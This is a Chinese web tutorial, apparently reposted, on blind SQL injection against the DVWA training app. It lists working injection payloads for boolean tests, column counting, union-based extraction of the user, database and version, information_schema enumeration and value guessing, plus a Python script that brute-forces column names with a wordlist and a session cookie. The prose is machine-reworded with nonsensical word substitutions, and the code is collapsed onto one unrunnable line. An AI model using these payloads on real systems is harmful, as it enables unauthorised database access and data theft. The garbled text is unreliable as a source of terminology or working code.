首页 » SEO优化 » php盲注破绽技巧_比较常见类型马脚讲解五SQL盲注

php盲注破绽技巧_比较常见类型马脚讲解五SQL盲注

访客 2024-11-20 0

扫一扫用手机浏览

文章目录 [+]

比较常见类型漏洞讲解(二):文件上传

比较常见类型漏洞讲解(三):SQL注入(一)

php盲注破绽技巧_比较常见类型马脚讲解五SQL盲注

比较常见类型漏洞讲解(四):SQL注入(二)

php盲注破绽技巧_比较常见类型马脚讲解五SQL盲注
(图片来自网络侵删)

前面先容过SQL注入,这里就来先容一下SQL盲注。

SQL盲注观点

前面讲的sql注入内容都是基于输入缺点的sql语句,做事器会返回数据库内建的报错信息,以是我们可以预测目标数据库是怎么布局的。

但是当程序员隐蔽了数据库内建报错信息,更换为通用的缺点提示,我们利用sql注入漏洞时将无法依据报错信息判断注入语句的实行结果,即这种注入操作就叫盲注。

判断SQL盲注的依据

当然,盲注也是须要判断依据的,不然又怎么剖断到底存不存在SQL盲注呢。
而盲注是基于逻辑真假的不同结果来判断的。

比如当传入真的结果并取与:

传入1' and 1=1 -- ,实行成功

传入假的结果并取与:

传入1' and 1=2 -- ,实行失落败

判断和利用SQL盲注的时候,一定要将原正常sql补充完全,由于and旁边的结果是在取与,一旦左侧的结果是假,后面我们预测部分的内容就没故意义了。

SQL盲注的利用

在剖断存在SQL盲注的漏洞时,我们就可以按照前面学过的思路,一步一步猜数据库了。
先来测当前查询的表有几个字段吧:

1' order by 2 --

通过不断提升order by后面跟的数字,当能放复书息时,就表示被查询表的字段数不小于利用的数字。
在DVWA这个入口查询的表,利用“1' order by 3 --”查询时,没有结果显示,就表示,被查询表只有两个字段。

确认连接数据库利用的账户和数据库名称也非常大略:

1' union select user(), database() --

返回了两个结果,第二条是我们想看到的信息,账户和数据库名称。
查询版本信息只要将sql中传入version()就可以。

1' union select user(), version() --

查询数据库中的库名和表名可以实行下面这个sql语句:

1' and 1=0 union select table_name,table_schema from information_schema.tables#

union前面的部分是让原查询失落败,union是联合查询的关键字,union后面部分的语句是我们想要查询的内容。

当当前账号无权访问information_schema库时,我们还是可以利用字典来匹配,比如猜当前查询表的字段,可以利用这样的sql:

# 个中user是我们预测的字段名,用字典中的字段名填入进去实行就能知道存不存在该字段1' and user is not null #

还是写个python脚本:

import sysimport requestsdef tables_attack(file_name): f = open(file_name) list_name = f.readlines() f.close() for i in list_name: i = i.strip('\n') if i == '': continue url = 'http://192.168.218.129/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+' + i + '+is+not+null%23&Submit=Submit#' headers = {'Cookie': 'security=low; PHPSESSID=355f404c2619a23fd9b8aa4dc54dda3a'} resp = requests.get(url=url, headers=headers) if b'First name' in resp.content: print(i)if __name__ == '__main__': file = sys.argv[1] tables_attack(file)

猜表名可以用这个sql语句:

# user是前面测试出来的这个表存在的字段,table是我们预测的表名1' and table.user is not null #

将上面的python脚本中的url改一下就可以用来测试表名了。

猜当前数据库中其他表名,可以利用这个sql语句:

# table便是我们预测的其他表名1' and (select count() from table)>0 #

预测表和字段之间的关系,可以利用这个sql语句:

# table是表名,在前面已经猜出了部分表名,column可以是字典里的内容# 这个和前面猜当前表的字段实在是一样的逻辑1' and table.column is not null #

猜字段内容可以利用这个sql语句:

# admin是我们预测的内容1' and user = 'admin# a是我们预测的内容1' or user like '%a%

但是直接猜某个字段的内容实在比较少,除了一些分外的信息,比如管理员信息,会有固定标记的。

总结

不管是SQL注入还是SQL盲注,想要利用好这些漏洞,提前去学好SQL,对付一些常用的语法和方法有比较闇练的节制,都会对你挖掘出漏洞代价带来帮助。

标签:

相关文章